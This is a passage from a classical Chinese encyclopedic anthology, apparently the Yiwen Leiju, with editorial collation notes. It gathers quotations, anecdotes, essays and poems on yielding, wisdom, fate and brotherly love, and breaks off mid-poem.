尚 书 博 士 缺 . 上 欲 用 桓 荣 . 荣 叩 头 让 曰 . 臣 经 术 浅 薄 . 不 如 同 门 生 郎 中 彭 宏 杨 州 从 事 皋 弘 . 帝 曰 . 俞 . 往 汝 谐 . 因 拜 荣 为 博 士 .\n又 曰 . 淳 于 恭 以 谦 俭 推 让 为 节 . 家 有 山 田 橡 树 . 人 有 盗 取 之 者 . 恭 助 为 收 拾 . 载 之 归 . 乃 知 是 恭 . 其 盗 还 橡 . 恭 不 受 . 人 又 有 盗 刈 恭 禾 者 . 恭 见 之 . 念 其 愧 . 因 伏 草 中 . 至 去 乃 起 .\n续 汉 书 曰 . 张 堪 让 先 人 余 财 数 百 万 与 兄 子 .\n谢 承 后 汉 书 曰 . 雷 义 举 茂 才 . 让 于 陈 重 . 刺 史 不 听 . 义 遂 佯 狂 . 不 应 命 . 乡 里 为 之 语 曰 . 胶 漆 自 谓 坚 . 不 如 雷 与 陈 .\n魏 武 令 曰 . 让 礼 一 寸 . 得 礼 一 尺 .\n魏 武 帝 杂 事 曰 . 辞 爵 逃 禄 . 不 以 利 累 名 . 不 以 位 亏 德 之 谓 让 .\n魏 志 曰 . 太 祖 署 邴 原 为 丞 相 征 事 . 崔 琰 为 东 曹 掾 记 . 让 曰 . 征 事 邴 原 . 议 郎 张 范 . 皆 秉 德 纯 壹 . 志 行 忠 方 . 清 净 足 以 厉 俗 . 贞 固 足 以 干 事 . 所 谓 龙 翰 凤 翼 . 国 之 重 宝 . 举 而 用 之 . 不 仁 者 远 .\n吴 志 曰 . 鲁 肃 卒 . 孙 权 以 严 畯 代 肃 . 畯 前 后 固 辞 曰 . 仆 素 书 生 . 不 闲 军 事 . 非 才 而 据 . 咎 悔 必 至 . 发 言 慷 慨 . 至 于 流 涕 . 权 乃 听 焉 . 世 嘉 其 能 以 实 让 .\n又 曰 . 薛 综 为 选 曹 尚 书 . 固 让 顾 谭 . 曰 . 谭 心 精 体 密 . 贯 道 达 微 . 才 照 人 物 . 德 服 众 望 . 诚 非 愚 诚 所 可 越 先 .\n又 曰 . ○ 太 平 御 览 四 百 二 十 四 作 晋 中 兴 书 . 非 吴 志 . 或 前 有 佚 条 . 郤 愔 . 字 方 回 . 拜 给 事 黄 门 侍 郎 . 愔 苦 求 外 出 . 时 吴 郡 缺 . 朝 让 ○ 御 览 作 议 . 用 愔 . 愔 以 资 轻 而 年 少 . 不 宜 超 登 大 郡 . 辞 让 切 至 . 朝 廷 嘉 之 .\n江 表 传 曰 . 程 普 颇 以 年 长 陵 侮 周 瑜 . 瑜 折 节 下 之 . 不 与 计 . 普 后 自 敬 而 亲 重 之 . 乃 告 人 曰 . 吾 与 周 公 瑾 交 . 若 饮 淳 醪 . 不 觉 醉 时 也 .\n许 逊 别 传 曰 . 逊 年 七 岁 . 无 父 . 躬 耕 负 薪 以 养 母 . 尽 孝 敬 之 道 . 与 寡 嫂 共 田 桑 . 推 让 好 者 . 自 取 其 荒 . 不 营 荣 利 . 母 常 谴 之 . 如 此 . 当 乞 食 无 处 居 . 笑 应 母 曰 . 但 愿 老 母 寿 耳 .\n郭 翻 别 传 曰 . 翻 经 水 . 坠 刀 于 水 . 路 人 有 为 取 者 . 翻 因 与 之 . 路 人 不 取 . 至 于 三 四 . 路 人 固 辞 . 翻 曰 . 尔 向 不 取 . 我 岂 能 得 乎 . 路 人 曰 . 吾 若 取 此 物 . 为 天 地 鬼 神 所 责 矣 . 翻 知 其 终 不 受 . 乃 沉 刀 于 向 所 失 处 . 路 人 怅 然 . 乃 复 没 为 取 之 . 翻 于 是 不 逆 其 意 . 十 倍 刀 价 与 之 .\n符 子 曰 . 太 伯 将 让 其 国 于 季 历 . 谓 其 傅 曰 . 太 王 欲 以 一 国 之 事 而 以 嗣 我 . 我 其 羞 之 . 吾 闻 至 人 也 . 不 君 一 世 . 而 万 世 以 之 君 . 不 贵 一 代 . 而 万 代 以 之 贵 . 吾 焉 能 贵 乎 一 国 . 而 贱 乎 万 代 哉 .\n【 碑 】 梁 陆 云 ○ 全 梁 文 五 十 三 作 陆 云 公 . 太 伯 碑 曰 . 夫 至 仁 至 德 . 垂 风 垂 化 . 内 脩 训 范 . 外 陶 氓 俗 . 百 年 之 教 . 淳 道 载 凝 . 而 百 年 既 终 . 遗 爱 斯 轸 . 莫 不 肃 虔 寝 庙 . 着 名 金 石 . 贻 其 后 昆 . 聿 遵 前 典 . 是 以 禹 堂 既 毁 . 增 饰 丹 青 . 尧 碑 载 焚 . 重 睹 刊 勒 . 太 伯 膺 庆 二 仪 . 协 灵 七 曜 . 志 轻 天 下 . 慈 深 万 物 . 脱 屣 歧 周 . 克 让 之 风 斯 举 . 端 委 杨 越 . 衣 冠 之 俗 载 成 . 重 以 仲 雍 扬 波 . 延 陵 蹈 节 . 民 习 敦 厚 . 俗 怀 忠 信 . 忧 深 思 远 . 千 载 遗 风 . 美 哉 洋 洋 . 致 足 观 也 . 昔 苍 洲 遁 迹 . 箕 山 辞 位 . 志 守 幽 优 . 不 越 鐏 俎 . 犹 以 称 首 高 节 . 摽 名 往 代 . 岂 若 吾 君 之 子 . 义 结 民 心 . 狱 讼 载 归 . 讴 歌 屡 请 . 能 舍 玉 舆 之 贵 . 永 袭 皮 冠 之 迹 . 悠 然 独 往 . 信 无 德 而 称 焉 . 吾 ○ 疑 当 作 吴 . 启 金 车 . 晋 迁 紫 盖 . 寔 号 帝 乡 . 爰 是 天 邑 . 若 乃 忠 人 入 国 . 凄 怆 生 悲 . 殉 义 希 风 . 懦 夫 立 志 .\n【 论 】 晋 刘 寔 崇 让 论 曰 . 古 之 圣 王 之 治 天 下 所 以 贵 让 者 . 欲 以 出 贤 才 而 息 争 也 . 夫 人 情 莫 不 皆 欲 己 之 贤 也 . 故 劝 令 让 贤 . 以 自 明 贤 . 岂 假 让 不 ○ 太 平 御 览 四 百 二 十 四 作 而 . 贤 哉 . 故 让 道 兴 . 贤 能 之 人 . 不 求 而 自 出 矣 . 至 公 之 举 而 自 立 矣 . 一 官 缺 . 择 众 官 所 让 最 多 者 而 用 之 . 审 才 之 道 也 . 在 朝 之 人 . 相 让 于 上 . 草 庐 之 人 . 咸 皆 化 之 . 推 能 让 贤 之 风 . 从 此 生 矣 . 为 一 国 所 让 . 一 国 士 也 . 天 下 所 共 . 则 天 下 才 也 . 推 让 之 风 行 . 贤 与 不 肖 . 灼 然 殊 矣 . 此 道 之 行 . 在 上 者 无 所 用 其 心 . 故 曰 . 荡 荡 乎 尧 之 为 君 . 莫 之 能 名 . 言 天 下 自 治 . 不 见 尧 所 以 治 之 . 故 不 能 名 也 . 又 曰 舜 禹 之 有 天 下 . 而 不 与 焉 . 无 为 而 治 者 . 其 舜 也 欤 . 贤 人 相 让 于 朝 . 大 才 之 人 . 恒 在 大 官 . 小 人 不 争 于 野 . 则 天 下 无 事 矣 . 以 贤 才 治 无 事 . 至 治 兴 矣 . 已 抑 ○ 晋 书 四 十 一 寔 传 作 仰 . 其 成 . 复 何 所 与 . 故 可 歌 南 风 之 诗 . 弹 五 弦 之 琴 也 .\n晋 孙 盛 周 泰 伯 三 让 论 曰 . 孔 子 曰 . 太 伯 其 可 谓 至 德 也\n已 矣 . 三 以 天 下 让 . 民 无 得 而 称 焉 . 郑 玄 以 为 托 采 药 而\n行 . 一 让 也 . 不 奔 丧 . 二 让 也 . 断 发 文 身 . 三 让 也 . 三\n者 之 美 . 皆 蔽 隐 不 着 . 王 肃 曰 . 其 让 隐 . 故 民 无 得 而 称\n焉 . 盛 谓 玄 既 失 之 . 而 肃 亦 未 为 得 也 . 玄 之 所 云 . 三 迹 显\n然 . 天 下 所 共 见 也 . 何 得 云 隐 而 未 着 乎 . 三 迹 苟 着 . 则\n高 让 可 知 . 亦 复 不 得 云 其 让 隐 也 . 盖 太 伯 之 出 . 让 迹 已\n露 . 不 奔 丧 . 故 一 事 耳 . 断 发 之 言 . 与 左 传 明 文 相 背 .\n又 不 经 也 . 然 则 称 三 让 者 . 其 在 古 公 至 文 王 乎 . 周 之 王\n业 . 显 于 亶 父 . 受 命 于 昌 . 太 伯 玄 览 . 弃 周 太 子 之 位 .\n一 让 也 . 假 托 逊 遁 . 受 不 赴 丧 之 讥 . 潜 推 大 美 . 二 让 也\n. 无 胤 嗣 而 不 养 仲 雍 之 子 以 为 己 后 . 是 其 深 思 远 防 . 令\n周 嫡 在 昌 . 天 人 协 从 . 四 海 悠 悠 . 无 复 纤 芥 疑 惑 . 三 让\n也 . 凡 此 三 者 . 帝 王 之 业 . 故 孔 子 曰 . 三 以 天 下 让 . 言\n非 其 常 让 . 若 臧 札 之 伦 者 也 .\n易 曰 . 智 周 万 物 . 道 济 天 下 .\n论 语 曰 . 智 者 乐 水 .\n又 曰 . 智 者 动 .\n又 曰 . 宁 武 子 . 邦 有 道 则 知 .\n又 曰 . 若 臧 武 仲 之 智 .\n又 曰 . 智 者 不 惑 .\n礼 记 曰 . 舜 其 大 智 欤 . 事 具 帝 王 部 .\n周 书 曰 . 智 与 众 同 者 . 非 人 师 也 . 且 成 事 必 在 大 智 .\n家 语 曰 . 孔 子 曰 . 好 学 则 智 .\n商 君 书 曰 . 愚 者 闇 于 成 事 . 而 智 者 见 于 未 萌 .\n庄 子 曰 . 巧 者 劳 而 智 者 优 .\n又 曰 . 大 智 闲 闲 . 小 智 闲 闲 .\n孙 卿 子 曰 . 言 而 当 . 智 也 . 嘿 而 当 . 亦 智 也 .\n又 曰 . 是 是 非 非 谓 之 智 .\n战 国 策 曰 . 今 六 国 相 伐 . 适 足 以 强 秦 . 天 下 为 秦 相 烹 . 秦 曾 不 出 薪 . 何 秦 之 智 . 而 山 东 之 愚 耶 .\n淮 南 子 曰 . 夫 圣 人 之 智 . 固 已 多 矣 . 愚 人 之 智 . 固 已 少 矣 .\n又 曰 . 裨 谌 出 郊 而 智 .\n又 曰 . 文 公 种 米 . 曾 子 枷 羊 . 犹 为 智 也 .\n唐 子 曰 . 命 相 在 天 . 才 智 由 人 . 由 人 可 学 致 . 在 天 无 可 冀 .\n符 子 曰 . 尧 舜 之 智 . 桀 纣 以 为 不 智 . 尧 舜 以 为 智 . 恶 知 尧 舜 之 非 桀 纣 . 桀 纣 之 非 尧 舜 乎 .\n史 记 曰 . 樗 里 子 名 疾 . 滑 稽 多 智 . 秦 人 号 曰 智 囊 .\n又 曰 . 陈 平 智 有 余 而 难 独 任 .\n汉 书 曰 . 刘 德 少 脩 黄 老 术 . 有 智 略 . 武 帝 谓 之 千 里 驹 .\n诸 葛 亮 集 曰 . 曹 操 智 计 . 殊 绝 于 人 .\n魏 志 曰 . 贾 诩 自 以 非 太 祖 旧 臣 . 惧 见 猜 嫌 . 阖 门 自 守 . 退 无 私 交 . 婚 嫁 不 结 高 门 . 天 下 之 论 智 计 者 归 之 .\n魏 略 曰 . 司 马 宣 王 闻 诸 葛 恪 死 . 曰 . 张 敬 仲 悬 论 恪 . 以 为 必 见 杀 . 今 果 然 . 张 仲 之 智 . 为 胜 恪 也 .\n王 隐 晋 书 曰 . 石 季 伦 少 多 意 智 . 敏 捷 有 计 略 .\n华 阳 国 志 曰 . 任 文 公 闻 武 檐 石 折 . 曰 . 噫 . 方 ○ 太 平 御 览 四 百 三 十 二 方 上 有 西 字 . 智 者 死 . 吾 其 应 之 . 遂 卒 . 益 部 为 之 谣 曰 . 任 文 公 . 智 无 双 .\n【 赋 】 楚 荀 况 智 赋 曰 . 皇 天 隆 物 . 以 施 下 民 . 或 厚 或\n薄 . 常 弗 齐 均 . 桀 纣 以 乱 . 汤 武 以 贤 . 臣 愚 弗 识 . 愿 闻\n其 名 . 曰 外 胜 敌 者 邪 . 法 禹 舜 而 能 弇 迹 者 邪 . 行 为 动 静\n. 待 之 而 后 适 者 邪 . 血 气 之 精 也 . 志 意 之 荣 也 . 百 姓 待\n之 而 后 宁 也 . 天 下 待 之 而 后 平 也 . 明 远 纯 粹 而 无 疵 . 夫\n是 谓 君 子 之 智 .\n又 曰 . 乐 天 知 命 而 不 忧 .\n毛 诗 曰 . 文 王 受 命 . 有 此 武 功 .\n又 曰 . 文 王 受 命 以 作 周 .\n尚 书 曰 . 无 坠 天 之 降 宝 命 .\n又 曰 . 用 集 大 命 于 厥 躬 .\n又 云 . 天 其 永 我 命 于 兹 新 邑 .\n春 秋 曰 . 刘 子 曰 . 人 受 天 地 之 中 以 生 . 所 谓 命 也 .\n礼 记 曰 . 天 命 之 谓 性 . 率 性 之 谓 道 . 修 道 之 谓 教 .\n论 语 . 子 夏 曰 . 死 生 有 命 . 富 贵 在 天 .\n又 曰 . 子 罕 言 利 与 命 与 仁 .\n又 曰 . 五 十 而 知 天 命 .\n又 曰 . 道 之 将 行 也 欤 . 命 也 . 道 之 将 废 也 欤 . 命 也 .\n楚 辞 曰 . 哀 时 命 者 . 屈 原 之 所 作 也 .\n家 语 曰 . 鲁 哀 公 问 于 孔 子 曰 . 人 之 命 与 性 何 谓 . 孔 子 对 曰 . 分 于 道 谓 之 命 . 形 于 一 谓 之 性 .\n史 记 曰 . 孟 尝 君 五 月 五 日 生 . 其 父 静 郭 君 曰 . 五 月 子 . 长 至 户 则 害 父 . 孟 尝 君 曰 . 人 受 命 于 天 . 岂 受 命 于 户 .\n汉 书 曰 . 高 祖 曰 . 吾 起 自 布 衣 . 提 三 尺 . 以 取 天 下 . 岂 非 命 也 . 事 具 军 器 部 剑 篇 .\n范 晔 后 汉 书 曰 . 艺 可 学 而 行 . 天 爵 高 悬 . 得 之 者 命 也 .\n【 赋 】 晋 仲 长 敖 覈 性 赋 曰 . 赵 荀 卿 着 书 . 言 人 性 之 恶 . 弟 子 李 斯 韩 非 . 顾 而 相 谓 曰 . 夫 子 之 言 性 恶 当 矣 . 未 详 才 之 善 否 何 如 . 愿 闻 其 说 . 荀 卿 曰 . 天 地 之 间 . 兆 族 罗 列 . 同 禀 气 质 . 无 有 区 别 . 裸 虫 三 百 . 人 最 为 劣 . 爪 牙 皮 毛 . 不 足 自 卫 . 唯 赖 诈 伪 . 迭 相 嚼 啮 . 总 而 言 之 . 少 尧 多 桀 . 但 见 商 鞅 . 不 闻 稷 契 . 父 子 兄 弟 . 殊 情 异 计 . 君 臣 朋 友 . 志 乖 怨 结 . 怜 国 乡 党 . 务 相 吞 噬 . 台 隶 僮 竖 . 唯 盗 唯 窃 . 面 从 背 违 . 意 与 口 戾 . 言 如 饴 蜜 . 心 如 ● 厉 . 未 知 胜 负 . 便 相 凌 蔑 . 正 路 莫 践 . 竞 赴 邪 辙 . 利 害 交 争 . 岂 顾 宪 制 . 怀 仁 抱 义 . 祇 受 其 毙 . 周 孔 徒 劳 . 名 教 虚 设 . 蠢 尔 一 概 . 智 不 相 绝 . 推 此 而 谈 . 孰 痴 孰 黠 . 法 术 之 士 . 能 不 噤 齘 . 仰 则 扼 腕 . 俯 则 攘 袂 . 荀 卿 之 言 未 终 . 韩 非 越 席 起 舞 . 李 斯 击 节 长 歌 . 其 辞 曰 . 形 生 有 极 . 嗜 欲 莫 限 . 达 鼻 耳 . 开 口 眼 . 纳 众 恶 . 距 群 善 . 方 寸 地 . 九 折 阪 . 为 人 作 险 易 . 俄 顷 成 此 蹇 . 多 谢 悠 悠 子 . 悟 之 不 亦 晚 .\n【 论 】 晋 李 康 运 命 论 曰 . 夫 治 乱 . 运 也 . 穷 达 . 命 也 . 贵 贱 . 时 也 . 故 运 之 所 降 . 必 生 圣 明 之 君 . 圣 明 之 君 . 必 有 忠 贤 之 臣 . 其 所 以 相 遇 也 . 不 求 而 自 合 . 其 所 以 相 亲 也 . 不 介 而 自 亲 . 唱 之 而 必 和 . 谋 之 而 必 从 . 得 失 不 能 疑 其 志 . 谗 构 不 能 离 其 交 . 然 后 得 成 功 也 . 其 所 以 得 然 者 . 岂 徒 人 事 哉 . 授 之 者 天 也 . 告 之 神 也 . 成 之 者 运 也 . 张 良 诵 三 略 之 说 . 以 游 于 群 雄 . 其 言 也 . 如 以 水 投 石 . 莫 之 受 也 . 及 其 遭 汉 祖 . 其 言 也 . 如 以 石 投 水 . 莫 之 逆 也 . 非 张 良 之 拙 说 于 陈 项 . 而 巧 言 于 沛 公 也 . 然 则 圣 人 所 以 为 圣 者 . 盖 在 乎 乐 天 知 命 . 故 遇 之 而 不 怨 . 居 之 而 不 疑 . 是 以 圣 人 处 穷 达 如 一 也 . 子 夏 曰 . 死 生 有 命 . 富 贵 在 天 . 故 道 之 将 行 也 . 命 之 将 贵 也 . 则 伊 尹 吕 尚 . 兴 于 殷 周 . 百 里 子 房 . 用 于 秦 汉 矣 . 道 之 将 废 也 . 岂 独 君 子 耻 之 而 弗 为 乎 . 盖 亦 知 为 之 而 弗 得 矣 .\n晋 袁 准 才 性 论 曰 . 凡 万 物 生 于 天 地 之 间 . 有 美 有 恶 . 物 何 故 美 . 清 气 之 所 生 也 . 物 何 故 恶 . 浊 气 之 所 施 也 . 夫 金 石 丝 竹 . 中 天 地 之 气 . 黼 黻 玄 黄 . 应 五 方 之 色 . 有 五 君 子 以 此 得 . ○ 文 有 脱 伪 . 曲 直 者 木 之 性 也 . 曲 者 中 钩 . 者 绳 ○ 有 脱 . 轮 桷 之 材 也 . 贤 不 肖 者 人 之 性 也 . 贤 者 为 师 . 不 肖 者 为 资 . 师 资 之 材 也 . 然 则 性 言 其 质 . 才 名 其 用 . 明 矣 .\n宋 何 承 天 达 性 论 曰 . 夫 两 仪 既 位 . 帝 王 参 之 . 宇 中 莫 尊 焉 . 天 以 阴 阳 分 . 地 以 刚 柔 用 . 人 以 仁 义 立 . 人 非 天 地 不 生 . 天 地 非 人 不 灵 . 三 材 同 体 . 相 须 而 成 者 也 . 故 能 禀 气 清 和 . 神 明 特 达 . 情 综 古 今 . 智 周 万 物 . 妙 思 穷 幽 赜 . 制 作 侔 造 化 . 归 仁 与 能 . 是 为 君 长 . 抚 养 黎 元 . 助 天 宣 德 . 日 月 淑 清 . 四 灵 来 格 . 祥 风 协 律 . 玉 烛 扬 晖 . 酸 咸 百 品 . 备 其 膳 羞 . 丝 纻 玄 黄 . 供 其 器 服 . 文 以 礼 度 . 娱 以 八 音 . 夫 物 用 俭 则 易 足 . 易 足 则 力 有 余 . 有 余 则 情 志 泰 . 乐 治 之 心 . 于 是 生 焉 . 事 简 则 不 扰 . 不 扰 则 神 明 灵 . 神 明 灵 则 谋 虑 审 . 济 治 之 务 . 于 是 成 焉 . 故 天 地 以 俭 素 训 民 . 干 坤 以 易 简 示 物 . 慇 懃 若 此 之 笃 也 . 安 得 与 夫 飞 沉 喘 蠕 . 并 为 众 生 者 . 取 之 有 时 . 用 之 有 道 . 行 火 俟 风 暴 . 田 渔 候 豺 獭 祭 . 所 以 顺 天 时 也 . 大 夫 不 麛 卵 . 庶 人 不 数 罟 . 行 苇 作 歌 . 宵 鱼 垂 化 . 所 以 爱 人 用 也 . 庖 厨 不 迩 . 五 豝 是 翼 . 殷 后 改 祝 . 孔 钓 不 纲 . ○ 按 当 作 网 . 所 以 明 仁 道 也 .\n梁 刘 孝 标 辨 命 论 曰 . 臣 观 管 辂 . 天 才 英 伟 . 珪 璋 特 秀\n. 实 海 内 之 名 杰 . 而 官 止 少 府 丞 . 年 终 四 十 八 . 天 之 报\n施 . 何 其 寡 欤 . 然 则 高 才 而 无 贵 仕 . 饕 餮 而 居 大 位 . 自\n古 所 叹 焉 . 独 公 明 而 已 哉 . 故 性 命 之 道 . 穷 通 之 数 . 夭\n阏 纷 纶 . 莫 知 其 辨 . 仲 任 蔽 其 源 . 子 长 阐 其 惑 . 至 于 褐\n冠 瓮 牖 . 必 以 玄 天 有 期 . 鼎 贵 高 门 . 则 曰 唯 人 所 召 . 萧\n远 论 其 本 . 而 不 畅 其 流 . 子 玄 语 其 流 . 而 未 详 其 本 . 尝\n言 之 曰 . 夫 道 生 万 物 . 则 谓 之 道 . 生 而 无 主 . 谓 之 自 然\n. 自 然 者 . 物 见 其 然 . 不 知 所 以 然 . 同 焉 皆 得 . 不 知 所\n以 得 . 鼓 动 陶 铸 . 而 不 为 功 . 庶 类 混 成 . 而 非 其 力 . 荡\n乎 大 乎 . 万 宝 以 之 化 . 确 乎 纯 乎 . 一 化 而 不 易 . 化 而 不\n易 . 则 谓 之 命 . 命 也 者 . 自 天 之 命 也 . 定 于 冥 兆 . 终 然\n不 变 . 鬼 神 莫 可 预 . 圣 哲 不 能 谋 . 触 山 之 力 无 以 抗 . 倒\n日 之 诚 弗 能 感 . 短 则 不 可 缓 之 于 寸 阴 . 长 则 不 可 急 之 于\n箭 漏 . 至 乃 伍 员 浮 尸 于 江 流 . 三 闾 沉 骸 于 湘 渚 . 贾 大 夫\n沮 志 于 长 沙 . 冯 都 尉 皓 发 于 郎 署 . 君 山 鸿 渐 . 铩 羽 仪 于\n高 云 . 敬 通 凤 起 . 摧 迅 翮 于 风 穴 . 此 岂 才 不 足 而 行 有 遗\n哉 . 近 世 有 沛 国 刘 瓛 . 瓛 弟 琎 . 并 一 时 之 秀 士 也 . 瓛 则\n关 西 孔 子 . 通 涉 六 经 . 循 循 善 诱 . 服 膺 儒 行 . 琎 则 志 烈\n秋 霜 . 心 贞 琨 玉 . 亭 亭 高 耸 . 不 杂 风 尘 . 皆 毓 德 于 衡 门\n. 并 驰 声 于 天 地 . 而 官 有 微 于 侍 郎 . 位 不 登 于 执 戟 . 相\n次 殂 落 . 宗 祀 无 飨 . 因 斯 两 贤 以 言 古 . 则 昔 之 玉 质 金 相\n. 英 髦 秀 达 . 摈 斥 于 当 年 . 韫 奇 才 而 莫 用 . 候 草 木 以 共\n凋 . 与 麋 鹿 而 同 死 . 膏 涂 平 原 . 骨 填 川 谷 . 烟 灭 而 无 闻\n者 . 岂 可 胜 道 哉 . 故 曰 . 死 生 有 命 . 富 贵 在 天 . 其 斯 之\n谓 矣 . 或 者 睹 汤 武 之 龙 跃 . 谓 戡 乱 在 神 功 . 闻 孔 墨 之 挺\n生 . 谓 英 睿 擅 奇 响 . 视 韩 彭 之 豹 变 . 谓 鸷 猛 致 人 爵 . 见\n张 桓 之 朱 绂 . 谓 明 经 拾 青 紫 . 岂 知 有 力 者 运 之 而 趍 乎 .\n然 则 君 子 居 正 体 道 . 乐 天 知 命 . 其 无 可 奈 何 . 识 其 不 由\n智 力 . 逝 而 不 召 . 来 而 不 拒 . 生 而 不 喜 . 死 而 不 戚 . 不\n充 诎 于 富 贵 . 不 遑 遑 于 所 欲 . 岂 有 史 公 董 相 不 遇 之 文 乎\n.\n尚 书 曰 . 惟 孝 友 于 兄 弟 .\n毛 诗 曰 . 陟 彼 冈 兮 . 瞻 望 兄 兮 .\n又 曰 . 棠 棣 之 华 . 萼 不 韡 韡 . 凡 今 之 人 . 莫 如 兄 弟 . 死 丧 之 威 . 兄 弟 孔 怀 . 原 隰 裒 矣 . 兄 弟 求 矣 . 鹡 鸰 在 原 . 兄 弟 急 难 .\n又 曰 . 兄 弟 既 翕 . 和 乐 且 湛 .\n又 曰 . 卫 宣 公 之 二 子 . 争 相 为 死 .\n孝 经 曰 . 孝 悌 之 至 . 通 于 神 明 .\n礼 记 曰 . 兄 弟 亲 戚 . 称 其 慈 也 . 寮 友 称 其 悌 也 .\n又 曰 . 兄 良 弟 悌 . 夫 义 妇 听 . 家 之 肥 也 .\n论 语 曰 . 兄 弟 怡 怡 如 也 .\n列 女 传 曰 . ○ 御 览 四 百 十 六 作 宋 躬 孝 子 传 . 任 延 寿 之 妻 . 字 季 儿 . 有 三 子 . 季 儿 兄 季 宗 . □ ○ 宗 下 原 空 一 字 . 太 平 御 览 四 百 十 六 作 与 延 寿 争 事 五 字 . 延 寿 与 其 友 杀 季 宗 . 后 会 赦 . 乃 以 告 季 儿 . 季 儿 曰 . 嘻 . 乃 今 语 我 乎 . 季 儿 曰 . 杀 夫 不 义 . 事 兄 之 雠 亦 不 义 . 何 面 目 以 生 . 而 戴 天 履 地 乎 . 延 寿 惭 . 自 经 . ○ 按 御 览 . 乃 季 儿 遂 自 经 死 . 事 见 列 女 传 五 . 此 有 脱 字 . 又 曰 . 古 师 安 妻 吕 君 . 少 寡 无 子 . 其 兄 犯 法 . 君 乃 泣 曰 . 少 遭 家 不 造 . 兄 弟 单 渺 . 门 宗 唯 兄 存 . 而 复 此 祸 . 我 有 一 计 . 犹 足 免 难 . 为 辞 乞 代 兄 命 . 自 经 县 门 . 县 官 嘉 其 义 . 乃 舍 之 .\n又 曰 . 齐 宣 王 时 . 有 人 斗 死 道 者 . 被 一 创 . 齐 义 二 子 立 其 傍 . 吏 问 之 . 兄 曰 . 我 煞 之 . 弟 曰 . 非 兄 . 乃 我 煞 之 . 期 年 相 推 不 决 . 召 其 母 . 问 所 欲 杀 活 . 母 泣 对 曰 . 煞 少 者 . 相 曰 . 少 子 人 之 所 爱 . 欲 煞 之 何 也 . 对 曰 . 少 者 妾 之 子 . 长 者 前 妻 之 子 . 子 虽 痛 . 谓 义 何 . 宣 王 美 其 义 . 皆 赦 之 .\n汉 书 曰 . 卜 式 以 田 蓄 为 事 . 有 少 弟 . 弟 壮 . 式 脱 身 出 . 独 取 畜 羊 百 余 . 田 宅 财 物 尽 与 弟 . 式 牧 十 余 年 . 羊 致 千 余 头 . 买 田 宅 . 而 弟 尽 破 其 产 . 又 分 财 与 弟 者 数 矣 .\n又 曰 . 王 商 父 薨 . 商 嗣 . 推 财 以 分 异 母 诸 弟 . 商 无 所 受 .\n东 观 汉 记 曰 . 魏 霸 为 长 史 . 妻 子 不 到 官 舍 . 念 兄 嫂 在 家 勤 苦 . 而 独 尊 乐 . 故 常 服 . 不 食 鱼 肉 . 其 子 躬 耕 . 与 兄 弟 子 同 苦 乐 . 乡 里 皆 慕 其 化 .\n又 曰 . 王 琳 年 十 余 . 丧 父 母 . 遭 大 乱 . 百 姓 奔 逃 . 唯 琳 兄 弟 独 守 家 庐 . 弟 季 出 . 遇 赤 眉 贼 . 将 为 哺 . 琳 自 缚 . 请 先 季 死 . 贼 矜 而 放 之 .\n又 曰 . 赵 孝 . 兄 弟 怡 怡 . 乡 党 归 德 . 天 下 乱 . 人 相 食 . 弟 礼 为 贼 所 得 . 孝 诣 贼 曰 . 礼 羸 瘦 . 不 如 孝 肥 . 贼 并 放 之 .\n续 汉 书 曰 . 姜 肱 兄 弟 二 人 . 皆 以 孝 行 着 . 与 弟 仲 同 被 卧 . 慈 亲 相 友 . 及 长 相 爱 . 不 能 相 离 .\n吴 书 曰 . 刘 繇 与 群 弟 居 . 常 夜 卧 早 起 . 妻 妾 希 见 其 面 .\n【 诗 】 魏 陈 王 曹 植 赠 弟 白 马 王 彪 诗 曰 . 谒 帝 承 明 庐 . 逝 将 归 旧 疆 . 清 晨 发 皇 邑 . 日 夕 过 首 阳 . 伊 洛 旷 且 深 . 欲 济 川 无 梁 . 泛 舟 越 洪 涛 . 怨 彼 东 路 长 . 脩 阪 造 云 日 . 我 马 玄 以 黄 . 鸱 枭 鸣 衡 轭 . 豺 狼 当 路 衢 . 苍 蝇 闲 白 黑 . 谗 巧 合 亲 疏 . 欲 还 绝 无 迳 . 揽 辔 止 踟 蹰 . 秋 风 发 微 凉 . 寒 蝉 鸣 我 侧 . 原 野 何 萧 条 . 白 日 忽 西 匿 . 感 物 伤 我 怀 . 抚 心 长 太 息 . 丈 夫 志 四 海 . 万 里 犹 比 邻 . 何 必 同 衾 帱 . 然 后 展 慇 懃 . 仓 卒 骨 肉 情 . 能 不 怀 苦 辛 .\n晋 陆 机 与 弟 云 诗 曰 . 有 命 自 天 . 崇 替 靡 常 . 王 师 乘 运 . 席 卷 江 湘 . 俯 惭 堂 构 . 仰 惟 先 灵 . 孰 云 忍 愧 . 寄 之 我 情 . 昔 我 斯 逝 . 族 有 余 荣 . 今 我 来 思 . 堂 有 哀 声 . 我 行 其 道 . 鞠 为 茂 草 . 我 履 其 房 . 物 存 人 亡 . 抚 膺 泣 血 . 洒 泪 仿 徨 .\n晋 陆 云 答 兄 诗 曰 . 昔 我 昆 弟 . 如 鸾 如 龙 . 今 我 友 生 . 凋 俊 坠 雄 . 华 堂 倾 榱 . 广 宅 颓 墉 . 高 门 降 衡 . 循 庭 树 蓬 .\n宋 谢 瞻 答 灵 运 诗 曰 . 华 萼 相 光 饰 . 嘤 鸣 悦 同 飨 . 亲 亲 子 敦 余 . 贤 贤 吾 尔 赏 . 此 景 后 鲜 晖 . 云 当 一 日 长 . 萎 叶 受 荣 条 . 涸 流 好 河 广 .\n梁 简 文 帝 应 令 诗 曰 . 微 躯 多 幸 . 接 萼 嘉 运 . 紫 幄 承 慈 . 青 襟 禀 训 . 傍 玉 流 温 . 依 兰 染 薰 . 百 氏 既 洽 . 六 义 乃 摛 . 辞 河 泻 润 . 高 论 忘 疲 . 翠 幕 晨 宇 . 朱 花 夜 池 . 窗 斜 八 绮 . 灯 悬 百 支 .\n梁 昭 明 太 子 示 徐 州 弟 诗 曰 . 宴 君 昼 室 . 靖 眺 铜 池 . 三 坟 既 览 . 四 始 兼 摛 . 高 宇 既 清 . 虚 堂 复 静 . 义 府 载 陈 . 玄 言 斯 逞 .\n梁 刘 孝 绰 与 虞 弟 诗 曰 . 下 邑 非 上 郡 . 徒 然 想 二 冯 . 余 惭 野 王 德 . 尔 勖 圣 乡 风 . 望 望 余 涂 尽 . 凄 凄 良 宴 终 . 朝 蔬 一 不 共 . 夜 被 何 由 同 .\n梁 刘 孝 胜 冬 日 家 园 别 阳 羡 始 兴 诗 曰 . 四 鸟 怨 离 群 . 三 荆 悦 同 处 . 如 今 腰 艾 绶 . 东 南 各 殊 举 . 且 欣 棠 棣 集 . 弥 惜 光 阴 遽 . 黠 吏 本 须 裁 . 豪 民 亦 难 御 . 愿 勖 千 金 水 . 思 闻 五 湖 